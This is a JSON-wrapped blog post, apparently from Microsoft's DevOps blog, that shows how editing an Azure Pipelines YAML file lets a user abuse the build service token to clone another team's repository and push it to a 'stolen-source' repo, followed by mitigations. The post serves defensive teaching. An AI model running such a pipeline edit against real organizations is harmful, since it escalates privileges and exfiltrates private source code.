{"id":59605,"date":"2020-08-25T06:16:03","date_gmt":"2020-08-25T14:16:03","guid":{"rendered":"https:\/\/devblogs.microsoft.com\/devops\/?p=59605"},"modified":"2020-08-27T05:44:51","modified_gmt":"2020-08-27T13:44:51","slug":"pipeline-stealing-another-repo","status":"publish","type":"post","link":"https:\/\/devblogs.microsoft.com\/devops\/pipeline-stealing-another-repo\/","title":{"rendered":"Let&#8217;s Hack a Pipeline: Stealing Another Repo"},"content":{"rendered":"<p>We&#8217;re back with another <em>Let&#8217;s Hack a Pipeline<\/em>. Last time, we saw how to create &#8211; and prevent &#8211; <a href=\"https:\/\/devblogs.microsoft.com\/devops\/pipeline-argument-injection\/\" rel=\"noopener noreferrer\" target=\"_blank\">argument injection<\/a>. In this episode, we&#8217;ll look at how a malicious user could access source code they shouldn&#8217;t see. Welcome to Episode II: <strong>Stealing Another Repo<\/strong>. (<a href=\"https:\/\/devblogs.microsoft.com\/devops\/pipeline-shared-infrastructure\/\" rel=\"noopener noreferrer\" target=\"_blank\">Episode III<\/a> is now available, too!)<\/p>\n<p>As I said before: security is a shared responsibility. The purpose of this series is to showcase some pitfalls to help you avoid them. I can&#8217;t possibly cover every single angle, and examples have been simplified to make the point.<\/p>\n<h2>The setup<\/h2>\n<p>In a large company, there are probably some code repos I&#8217;m not allowed to see. Even inside Microsoft, which has a pretty open culture, someone from Game Studio A usually can&#8217;t see what Game Studio B is working on. But their build system can!<\/p>\n<p>Let&#8217;s say we&#8217;ve got two team projects inside one Azure DevOps organization. Each of those projects has one or more Git repos. And let&#8217;s say I&#8217;m on the <strong>Popular FPS Game<\/strong> team, which has a daily CI pipeline for our upcoming release, &#8220;Popular FPS Game: Sequel&#8221;.<\/p>\n<p>The <code>fabrikam-game-studios<\/code> organization has these objects:<\/p>\n<ul>\n<li><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/folder.png\" alt=\"\" width=\"16\" height=\"16\" class=\"alignnone size-full wp-image-59614\" \/> Project: Popular FPS Game \n<ul>\n<li><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/git-logo.png\" alt=\"\" width=\"16\" height=\"16\" class=\"alignnone size-full wp-image-59611\" \/> Repo: <code>popular-fps-game<\/code><\/li>\n<li><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/git-logo.png\" alt=\"\" width=\"16\" height=\"16\" class=\"alignnone size-full wp-image-59611\" \/> Repo: <code>popular-fps-game-sequel<\/code><\/li>\n<li><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/build.png\" alt=\"\" width=\"16\" height=\"16\" class=\"alignnone size-full wp-image-59613\" \/> Pipeline: <code>sequel-ci<\/code><\/li>\n<\/ul>\n<\/li>\n<li><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/folder.png\" alt=\"\" width=\"16\" height=\"16\" class=\"alignnone size-full wp-image-59614\" \/> Project: Beautiful Racing Game \n<ul>\n<li><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/git-logo.png\" alt=\"\" width=\"16\" height=\"16\" class=\"alignnone size-full wp-image-59611\" \/> Repo: <code>beautiful-racing-game<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre><code class=\"yaml\"># sequel-ci.yml\npool: { vmImage: ubuntu-latest }\n\nsteps:\n- script: |\n    make game\n    make test\n<\/code><\/pre>\n<h2>The attack<\/h2>\n<p>I&#8217;m really curious what my colleagues on <strong>Beautiful Racing Game<\/strong> are working on. But I don&#8217;t have access to their source code. No problem, I&#8217;ll ask Azure Pipelines to get it for me.<\/p>\n<p>I create a new branch in <code>popular-fps-game-sequel<\/code> and edit the pipeline:<\/p>\n<pre><code class=\"yaml\"># sequel-ci.yml, edited\npool: { vmImage: ubuntu-latest }\n\nsteps:\n- script: |\n    git clone -c http.extraheader=\"AUTHORIZATION: bearer $(System.AccessToken)\" \\\n    https:\/\/fabrikam-game-studios@dev.azure.com\/fabrikam-game-studios\/beautiful-racing-game\/_git\/beautiful-racing-game\n\n    cd beautiful-racing-game\n    git remote add steal https:\/\/fabrikam-game-studios@dev.azure.com\/fabrikam-game-studios\/popular-fps-game-sequel\/_git\/stolen-source\n\n    git push -c http.extraheader=\"AUTHORIZATION: bearer $(System.AccessToken)\" -u steal --all\n<\/code><\/pre>\n<p>By queuing that pipeline (and creating an empty repo at <code>stolen-source<\/code>), I can peruse their code without restriction.<\/p>\n<h2>Why this works<\/h2>\n<p>When a pipeline is assigned to an agent, that agent needs to be able to fetch the source code. The server generates a token for the &#8220;build service identity&#8221;, an artificial identity created for this purpose. The identity has access to all repositories by default.<\/p>\n<h3>History<\/h3>\n<p>The build service identity was originally an org-wide concept (back in the TFVC days, this was called &#8220;collection scope&#8221;) and later gained a per-project version. In the above example, the pipeline is running with collection scope, so it can traverse across to another project.<\/p>\n<h3>Editing pipelines is powerful<\/h3>\n<p>The attacker was able to control an identity with more access than that user&#8217;s identity. With config-as-code, the ability to push code is suddenly equivalent to a lot more things. In this case, it grants the effectively &#8220;edit the pipeline&#8221;. And editing the pipeline means you can ask the Azure Pipelines system to do malicious things using its credentials.<\/p>\n<p>Permissions like <em>Create pipeline<\/em> and <em>Edit pipeline<\/em> are more powerful than they seem at first glance. Build systems often have privileged access (so they can do their job), so you have to carefully consider who can command the build system.<\/p>\n<h3>Related hacks<\/h3>\n<p>An addition to this attack would include listing all repositories using the REST API. Going the opposite direction, someone from the Beautiful Racing Game team could list all the repos in <code>popular-fps-game<\/code>. They&#8217;d discover that Popular FPS Game is getting a sequel!<\/p>\n<h2>Mitigating repo stealing<\/h2>\n<p>Azure Pipelines has two controls which restrict what the build service identity can access.<\/p>\n<h3>Use project scope<\/h3>\n<p><a href=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/project-scope.png\"><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/project-scope-1024x352.png\" alt=\"Make pipelines run with project scope by turning on &quot;Limit job authorization scope&quot;\" width=\"640\" height=\"220\" class=\"alignnone size-large wp-image-59607\" srcset=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/project-scope-1024x352.png 1024w, https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/project-scope-300x103.png 300w, https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/project-scope-768x264.png 768w, https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/project-scope.png 1128w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Make pipelines run with project scope by turning on &#8220;Limit job authorization scope&#8221;. While this can be enabled at the project level, that won&#8217;t protect a project&#8217;s resources from rogue pipelines in another project.<\/p>\n<p>We recommend enabling this at the organization level. Also, we recommend treating the project as a single security boundary, rather than locking down individual repos.<\/p>\n<h3>Lock down what repositories can be seen<\/h3>\n<p><a href=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/repo-scope.png\"><img decoding=\"async\" src=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/repo-scope-1024x352.png\" alt=\"Limit what a pipeline can access by turning on &quot;Limit job authorization scope to referenced Azure DevOps repositories&quot;\" width=\"640\" height=\"220\" class=\"alignnone size-large wp-image-59608\" srcset=\"https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/repo-scope-1024x352.png 1024w, https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/repo-scope-300x103.png 300w, https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/repo-scope-768x264.png 768w, https:\/\/devblogs.microsoft.com\/devops\/wp-content\/uploads\/sites\/6\/2020\/08\/repo-scope.png 1128w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Azure Pipelines can generate a token which only grants access to named repositories in Azure Repos. With this setting enabled, in order to access a repository, it must be mentioned in the <code>resources<\/code> section of the pipeline. When a new repository is added to a pipeline, Azure Pipelines will not automatically run the job. It&#8217;ll pause and await one-time authorization from someone who already has read access to the repository.<\/p>\n<h2>Review<\/h2>\n<p>The build service identities can have more access than a typical user. When a user is able to control the pipeline definition, that user can escalate their own privileges. Use the controls available in Azure Pipelines to prevent this attack.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>We&#8217;re back with another Let&#8217;s Hack a Pipeline. Last time, we saw how to create &#8211; and prevent &#8211; argument injection. In this episode, we&#8217;ll look at how a malicious user could access source code they shouldn&#8217;t see. Welcome to Episode II: Stealing Another Repo. (Episode III is now available, too!) As I said before: [&hellip;]<\/p>\n","protected":false},"author":719,"featured_media":45953,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[224],"tags":[],"class_list":["post-59605","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-azure"],"acf":[],"blog_post_summary":"<p>We&#8217;re back with another Let&#8217;s Hack a Pipeline. Last time, we saw how to create &#8211; and prevent &#8211; argument injection. In this episode, we&#8217;ll look at how a malicious user could access source code they shouldn&#8217;t see. Welcome to Episode II: Stealing Another Repo. (Episode III is now available, too!) As I said before: [&hellip;]<\/p>\n","_links":{"self":[{"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/posts\/59605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/users\/719"}],"replies":[{"embeddable":true,"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/comments?post=59605"}],"version-history":[{"count":0,"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/posts\/59605\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/media\/45953"}],"wp:attachment":[{"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/media?parent=59605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/categories?post=59605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devblogs.microsoft.com\/devops\/wp-json\/wp\/v2\/tags?post=59605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}